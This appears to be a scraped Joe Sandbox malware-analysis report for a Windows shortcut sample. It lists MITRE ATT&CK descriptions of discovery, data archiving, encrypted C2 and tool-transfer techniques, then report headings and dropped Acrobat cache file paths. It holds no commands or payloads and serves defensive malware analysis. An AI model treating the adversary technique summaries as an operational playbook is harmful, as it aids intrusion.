Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report mjjt5kTb4o.lnk

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF4a0e30.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\bde1385e-342f-4731-8a39-b2cacc6e058b.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\cebf26e3-7c48-4f9a-8d5c-a35be6f90149.tmp

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2196

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.2196

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Windows Analysis Report
mjjt5kTb4o.lnk